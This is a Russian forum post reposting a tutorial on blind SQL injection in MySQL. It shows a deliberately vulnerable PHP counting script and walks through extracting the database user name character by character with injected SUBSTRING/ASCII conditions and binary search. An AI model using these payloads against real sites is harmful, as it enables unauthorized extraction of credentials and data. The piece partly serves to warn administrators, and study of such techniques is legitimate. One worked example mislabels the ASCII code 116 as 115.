|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
Посимвольный перебор в базах данных на примере MySQL
Статью взял с securitylab. Статья бомбовая! Читаем!
__ INTRO __
На данный момент атаки типа sql injection уже достаточно широко и полно описаны в различных статьях и документах. В сети можно найти большое количество информации и примеров в которых иллюстрируются методы получения информации из базы данных, при использовании данного типа атак, как при условиях вывода сообщений о ошибках, так и при случаях когда подобные сообщения не выводятся ( так называемые Blind SQL injection ).
Однако в примерах и документах, которые сейчас доступны, при описании методики атак делается упор на использование предложения UNION для обьединения запросов к базе и предполагается, что существует вывод данных полученных из запроса к БД т.е. мы можем непосредственно влиять на данные которые выводятся после выполнения запроса.
Таким образом после изучения доступной информации может сложится впечатление что получение записей (или какой-либо информации) из базы данных, посредством атак типа sql injection, неосуществимо при выполнении следующих условий:
атакующий не может непосредственно влиять на вывод данных полученных из запросов к БД,
нет вывода сообщений о ошибках,
нет возможности использования UNION,
атакующий не располагает никакой информацией о структуре базы.
Как иллюстрацию к вышеописанным условиям можно привести ситуацию когда атакующий может изменить условие в запросе типа UPDATE ... WHERE ... и единственной доступной информацией для него является только оповещение о том что запись либо была обновлена, либо нет. Конечно атакующий может изменить существующие записи в таблице, но получить информацию из уже существующих записей, пользуясь методами описанными на данный момент и в которых описываются атаки при запросах типа SELECT ... он будет не в состоянии.
Как еще один пример мне пока не встречалось ни одного документа описывающего метод атак на MySQL версии ниже 4.0 (т.е. без поддержки обьединения запросов посредством UNION) даже при запросах типа SELECT ...
Получаются такие вот "неблагоприятные" для атакующего условия =\ Однако как показали некоторые эксперименты в данной области даже при таких урезанных возможностях потенциальный взломщик может получить практически любую информацию из базы данных.
Данная статья является результатом моих небольших исследований в данной области и надеюсь укажет администраторам на возможную опасность при таких казалось-бы безнадежных для атакующего ситуациях.
Еще раз хотел бы заострить внимание на том, что целью атакующего является именно получение информации из базы данных, а не изменение записей или небольшие модификации запроса для получения каких-либо возможностей. Если конкретно, то например обход авторизации посредством "OR 1=1 -- " нас совершенно не интересует, это в детском саду проходят =)
В данной статье описаны методы применяемые при атаках на базы данных MySQL. Первые три раздела описывают методы атак в соответствии с версиями: раздел для версий выше 4.1 в которых описывается перебор с использованием подзапросов, раздел про версии от 4.0 и до 4.1 в котором описывается перебор с использованием UNION и раздел для версий ниже 4.0 в которых нет возможности использования ни подзапросов, ни обьединения с помощью UNION. Данные разделы описывают атаки при внедрении кода в запросы выборки данных типа select ...
Пускай сейчас версии выше 4.1 не очень распространены в сети, но стоит пожалуй глядеть в будущее когда такие базы наверняка будут более распространены и описанные в данной статье методы для этих версий станут более актуальны. Именно поэтому в данной статье наибольшее количество примеров будет приведено для версий выше 4.1.
В последующих разделах приводятся примеры получения дополнительной информации из базы данных, такой как значения системных переменных. После этого описывается метод атак при использовании временных задержек на примере внедрения кода в запросы типа update ...
В последнем разделе рассматривается конкретный пример написания эксплоита использующего описанную технику.
Следует заметить, что для наиболее полного понимания описанного в статье материала необходимо и достаточно чтобы читатель обладал минимальными знаниями языка SQL а также языка PHP на котором будут приведены все примеры уязвимых скриптов.
Еще читателю пригодится знание языка PERL так как по ходу статьи в примерах будет использоваться небольшой скрипт, код которого будет позднее представлен в статье, написанный на этом языке. Также на этом языке в конце статьи будет приведен код эксплоита, показывающего как используются методы описанные в статье так сказать на практике.
Также в статье при описании примеров будут использоваться несколько функций описание которых я счел необходимым привести в следующем разделе. Все эти функции описаны в мануалах. Итак приступим.
__ MAN __
Первая функция без которой не было бы данной статьи это функция substring()
SUBSTRING(str,pos,len)
Описание:
Возвращает подстроку длиной len символов из строки str, начиная от позиции pos.
Пример:
mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
Далее на очереди функция lower()
LOWER(str)
Описание:
Возвращает строку str, в которой все символы переведены в нижний регистр в соответствии с текущей установкой набора символов.
Пример:
mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'
И завершает обзор функция ascii()
ASCII(str)
Описание:
Возвращает значение ASCII-кода крайнего слева символа строки str;
0 если str является пустой строкой;
NULL, если str равна NULL.
Пример:
mysql> SELECT ASCII('2');
-> 50
mysql> SELECT ASCII(2);
-> 50
На этом думаю стоит закончить описание функций и перейти непосредственно к первой базе данных.
___ MySQL версии => 4.1 ___
Я решил начать с данных версий mySQL, так как именно с версии 4.1 в них введена поддержка подзапросов. Поддержка подзапросов дает нам большие возможности при получении данных по сравнению с базами в которых такой поддержки нет. Но более подробно подзапросы будут рассмотрены в следующем разделе, а пока рассмотрим пример уязвимого скрипта. Предположим, что в некоторой базе данных существует таблица users в которой хранится информация о существующих пользователях как то логин пользователя (столбец login), пароль пользователя (столбец password) и информация о регистрации пользователя (столбец status, значение 1 пользователь зарегистрирован и значение 0 пользователь незарегистрирован) В данной таблице содержатся следующие записи:
+----+--------+--------+----------+
| id | status | login | password |
+----+--------+--------+----------+
| 1 | 1 | admin | password |
| 2 | 1 | lamer | lamer |
| 3 | 0 | hacker | 123 |
| 4 | 1 | user | blah |
+----+--------+--------+----------+
На сайте существует скрипт users.php который по запросу выводит количество зарегистрированных или-же незарегистрированных пользователей. Код данного скрипта таков:
<?
error_reporting(0);
... подключение к базе данных ...
$result=@mysql_num_rows(mysql_query("SELECT status FROM users WHERE status=$id"));
if (!$result) { $result = 0; }
echo "Found: $result";
... дальнейшие действия которые нас неинтересуют ...
?>
Итак данный скрипт по запросу server.com/users.php?id=1 выводит количество зарегистрированных пользователей, а по запросу server.com/users.php?id=0 количество незарегистрированных пользователей. Как видно из кода параметр поиска передается через переменную id и данный параметр перед помещением в запрос не фильтруется и соответственно скрипт уязвим к внедрению sql кода. Однако имея возможность вставить произвольный sql код в запрос который будет выполняться в БД, мы в тоже время не имеем возможности непосредственно изменить выводимые данные, так как можем влиять ТОЛЬКО на количество строк полученных в результате запроса к базе. Именно это количество выводится потом для просмотра. Поэтому какое-либо использование предложения UNION в данном случае нам ничего не даст. Также из кода видно, что при возможных ошибках никаких сообщений скриптом выводиться не будет.
Многие из моих знакомых заявили бы, что получение данных из БД, через ошибку в таком скрипте, невозможно. Но это не так!
Для начала разберемся с запросом, с тем как мы можем на него влиять и какую информацию из этого мы сможем получить.
Запрос к серверу:
server.com/users.php?id=1
вызывает запрос к базе данных:
SELECT status FROM users WHERE status=1;
После чего подчитывается количество возвращенных запросом записей о пользователях у которых в столбце status стоит значение 1
После выполнения скрипта мы получаем в браузере страницу следующего вида
Found: 3
После запроса: server.com/users.php?id=0
Получаем страницу
Found: 1
В первую очередь атакующий проверяет возможность внедрения sql-кода например так: server.com/users.php?id=1'
В ответ не выдается сообщения о ошибке и выведенная страница выглядит следующим образом:
Found: 0
Так как нет сообщений о ошибке, то атакующий не может с полной уверенностью определить является ли такой вывод скрипта следствием возникшей в запросе ошибки из-за лишней кавычки или же запрос возвращает нулевое количество записей из БД т.к. записей с таким статусом там нет. Соответственно атакующий не может с уверенностью определить тип переменной.
Зато сможет с помощью запроса:
server.com/users.php?id=0%2B1
который совпадает с запросом к БД
SELECT status FROM users WHERE status=0+1;
( 2B - 16-ричный код символа + )
Так как возвращаемый результат этого запроса совпадает с результатом возвращаемым запросом server.com/users.php?id=1 то атакующий с полной уверенностью может утверждать, что получаемый из строки запроса параметр id является типом integer.
После получения информации о типе переменной атакующий может попытаться вставить в запрос дополнительные условия и проанализировать зависимость существования или наоборот отсутствия возвращаемых запросом строк от добавленных условий.
Запрос:
server.com/users.php?id=1 AND 1=1 соответствует запросу server.com/users.php?id=1 т.к. добавление условия 1=1 не оказывает в данном случае никакого влияния и соответственно выводы обоих запросов соответствуют, что подтверждают одинаковые данные выведенные скриптом при обоих запросах.
Зато запрос: server.com/users.php?id=1 AND 1=2 выводит страницу "Found: 0" так как запрос при таком условии никогда не найдет совпадающих строк.
Данные маленькие примеры призваны показать как внедрение дополнительных условий в данном случае влияет на количество выводимых запросом строк и соответственно на конечный результат выводимый скриптом. Отлично. Если вы знакомы с SQL то наверно уже догадались, что после AND мы можем использовать и более сложные условия и анализируя существование или отсутствие ответа будем определять выполнение или соответственно невыполнение условия.
Итак на конкретном примере:
Данный запрос: server.com/users.php?id=1 AND user()="root@localhost" выведет результат совпадающий с запросом server.com/users.php?id=1 только в случае если скрипт работает с БД от юзера root. Итак мы пользуясь данным запросом можем перебирать различные имена пользователей и смотря на полученный вывод скрипта определить имя пользователя. Но такой перебор конечно же слишком утомителен и нерезультативен =( Но надеюсь вы еще не забыли про функцию substring() которая позволяет выдернуть произвольный символ из результата. Этим мы и воспользуемся.
Запрос:
server.com/users.php?id=1 AND substring(user(),1,1)="r"
порождает запрос к БД
SELECT status FROM users WHERE status=1 AND substring(user(),1,1)="r";
и данный запрос вернет результат совпадающий с результатом запроса SELECT status FROM users WHERE status=1 только в случае если первый символ из имени пользователя от которого скрипт работает с базой данных совпадает с "r".
Что именно происходит в данном запросе: Сначала получаем значение user(), после этого функция substring() выделяет из этого значения один символ стоящий на первой позиции и после этого данный символ сравнивается с символом "r".
Итак запрос к скрипту server.com/users.php?id=1 AND substring(user(),1,1)="r" возвращает нам страницу содержащую "Found: 3" и соответственно мы можем с полной уверенностью утверждать, что первой буквой имени пользователя является буква r. =)
Запрос server.com/users.php?id=1 AND substring(user(),2,1)="r" вернет страницу "Found: 0" так как второй буквой имени пользователя не является буква r, зато запрос server.com/users.php?id=1 AND substring(user(),2,1)="o" возвращает "Found: 3" и следовательно вторая буква o.
Уже сейчас можно используя перебор всех символов получить полное имя пользователя от которого скрипт работает с БД, последовательно перебирая позиции в записи с помощью второго параметра substring().
Однако предположим что длина имени составляет 10 символов и используются только буквы в нижнем регистре, тогда в среднем для перебора потребуется примерно 200-300 запросов к скрипту, что во-первых нежелательно из-за долгого времени перебора (хотя и не такого долгого как при переборе от фонаря), а во-вторых недопустимо из-за огромного количества записей в логах веб-сервера и базы данных, что становится похоже на слона в посудной лавке =(
Но не все так плачевно как кажется на первый взгляд =) Мы можем воспользоваться еще несколькими функциями в условии для уменьшения диапазона перебираемых символов. В этом нам поможет функция ascii(). Совсем не обязательно сравнивать совпадения символов, ведь можно сравнивать их ascii-коды.
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),1,1)))>110
Данный запрос выведет результат "Found: 3" в случае если ascii-код первого символа в имени пользователя больше 110 (т.е. больше "n"). Таким образом одним запросом мы можем уменьшить диапазон символов для перебора в 2 раза! Следовательно мы существенно уменьшаем количество попыток перебора символов и соответственно количество запросов к скрипту и базе данных.
В данном запросе сначала получаем значение user(), после этого с помощью substring() получаем из этого значения один символ стоящий на первой позиции, далее функцией lower() этот символ переводится в нижний регистр, далее функция ascii() возвращает ascii-код данного символа и этот код сравнивается с переданным нами значением.
Алгоритм получения четвертого символа из имени пользователя получается таким:
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>110
Ответ: Found: 3
Вывод: Символ лежит в промежутке 110 .. 122 ( n .. z )
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>116
Ответ: Found: 0
Вывод: Символ лежит в промежутке 110 .. 116 ( n .. t )
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>113
Ответ: Found: 3
Вывод: Символ лежит в промежутке 113 .. 116 ( q .. t )
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=114
Ответ: Found: 0
Вывод: Код символа не 114 ( символ не "r" )
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=115
Ответ: Found: 0
Вывод: Код символа не 115 ( символ не "s" )
Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=116
Ответ: Found: 3
Вывод: Код символа 115 ( символ "t" ) !!!
Искомый символ найден. Для этого потребовалось всего 6 запросов!
В данном примере предполагается что в имени пользователя используются только буквы, поэтому мы перебираем диапазон символов a..z, что соответствует кодам 97..122, символы в верхнем регистре мы не включаем в диапазон т.к. используем функцию lower()
Также использование функции ascii() и сравнение ascii-кодов символа вместо сравнения символов позволяют отказаться от кавычек в условиях типа ="r" что в свою очередь позволяет не заботиться о magic_quotes.
Таким образом перебрав все позиции в имени пользователя до получения в ответе кода 0, что соответствует концу строки, мы получим полное имя. Вот в кратце о основах метода посимвольного перебора в базе данных. В дальнейших разделах статьи на основании этого метода будут описаны конкретные примеры получения информации из базы данных.
|